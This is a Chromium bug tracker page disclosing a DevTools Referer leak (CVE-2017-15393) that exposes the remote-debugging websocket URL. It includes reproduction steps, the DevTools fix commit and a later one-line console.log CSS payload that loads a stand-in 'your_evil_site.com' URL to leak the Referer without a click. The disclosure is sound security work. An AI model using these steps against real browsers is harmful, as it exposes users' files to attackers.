New issue
Advanced search Search tips
Starred by 2 users
Status: Fixed
Owner:
Closed: Aug 15
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux, Windows, Chrome, Mac
Pri: 2
Type: Bug-Security



Sign in to add a comment
Security: Referer leakage in chrome debug protocol
Reported by watashiw...@gmail.com, Jun 13 Back to list
VULNERABILITY DETAILS
There is referer leakage in built in Chrome chrome-devtools-frontend which can allow attacker to access the instance of Chrome remote protocol.

VERSION
Chrome Version: 59.0.3071.86 (Official Build) (64-bit)
Operating System: MacOS Siera 10.12.1

REPRODUCTION CASE
First of all we need to run an instance of headless Chrome with this command:
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome  --remote-debugging-port=9222 --incognito --headless --disable-gpu

After that we need to go to attacker site using headless Chrome by going to such url:
http://127.0.0.1:9222

Attacker site must to console.log some link to attacker HTTPS site

If user will click it, attacker would be available to get Referer of chrome-devtools-frontend with leaked ws GET parameter in it. After that attacker can close tab with chrome-devtools-frontend using opener.location and will be able to access the instance of remote protocol via JavaScript using websoccket connection and access user files (CHECKED) or maybe something worse (NOT CHECKED:).

I am currently making PoC. I will try to make it as soon as possible, guys.

 
Components: Platform>DevTools>Platform
Labels: Security_Severity-Low Security_Impact-Stable M-61 OS-Chrome OS-Linux OS-Mac OS-Windows Pri-2
Owner: dgozman@chromium.org
Status: Assigned
dgozman, can you please take a look? I'm not sure what the "ws GET parameter" is so I'm not sure how severe this is. I'm tentatively assigning Low severity because of the user interaction involved. Nevertheless it seems like it would be a good idea to not include Referer headers from links clicked in DevTools.
Video PoC
chrome.mov
9.4 MB Download
Here is also code of PoC made on nodejs and express
main.js
3.1 KB View Download
P.S.
I think a good idea is not to include address of websocket in URL.
Maybe it should sent over POST request?
Cc: dgozman@chromium.org
Owner: caseq@chromium.org
Hmm... Interesting. Although requiring a flag means no real exposure (per Chrome policy), this is worth fixing anyway.

Andrey, mind taking a look?
Better main.js code
main.js
3.1 KB View Download
Guys, can I remove web PoC from internet (go666.ru)?
Or it should stay online for now?
Guys, is it bug bounty applicable or something like that one?
;''''''''(
RE: #10: The Chrome Vulnerability Rewards team evaluates issues after the fix has landed. In general, issues of Low Severity are not awarded, but there are exceptions for especially interesting vulnerabilities. 
Project Member Comment 13 by bugdroid1@chromium.org, Aug 15
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/a8ef19900d003ff7078fe4fcec8f63496b18f0dc

commit a8ef19900d003ff7078fe4fcec8f63496b18f0dc
Author: Dmitry Gozman <dgozman@chromium.org>
Date: Tue Aug 15 16:49:52 2017

[DevTools] Use no-referrer for DevTools links

Bug:  732751 
Change-Id: I77753120e2424203dedcc7bc0847fb67f87fe2b2
Reviewed-on: https://chromium-review.googlesource.com/615021
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Commit-Queue: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#494413}
[modify] https://crrev.com/a8ef19900d003ff7078fe4fcec8f63496b18f0dc/chrome/browser/devtools/devtools_window.cc
[modify] https://crrev.com/a8ef19900d003ff7078fe4fcec8f63496b18f0dc/third_party/WebKit/Source/devtools/front_end/inspector.html

Status: Fixed
Thanks for bringing attention to this. It slipped off our radar. I think it should be fixed now. Mind checking on your end?
Yo:)
It looks like fixed from my side.
Project Member Comment 16 by sheriffbot@chromium.org, Aug 16
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: reward-topanel
Labels: -reward-topanel reward-0
Hello watashiwaher@.  I'm sorry to say the VRP panel decided not to award for this bug, citing the amount of victim interaction needed, and the unlikelihood of the scenario.

If you could describe how this could be used to attack users in a less niche scenario we'd be willing to take another look.  Thanks! 
(Note that it will be getting a CVE assigned when M61 goes stable)
There is one more scenario, where you don't need to click a link.
But you should probably open Network tab.
Okay.
I found elegant solution without interacting:

You just need to:

console.log('%c       ', 'font-size: 100px; background: url(https://your_evil_site.com/some_url) no-repeat;');

And image will be directly loaded from your tab (and referer will leak, I checked)

If you need some PoCs or somelike like that, ask me
Screen Shot 2017-09-02 at 11.16.25.png
148 KB View Download
Actually console is open every time in chrome dev tools for most of users (bottom part actually), and request will be sent.
More dumb solution that I mentioned, is to send 404 error page with image inside it.
Screen Shot 2017-09-02 at 11.24.15.png
80.0 KB View Download
Labels: -M-61 M-62
Is it still bad bug ? :O
Labels: Release-0-M62
Labels: CVE-2017-15393
Project Member Comment 28 by sheriffbot@chromium.org, Nov 22 (2 days ago)
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Sign in to add a comment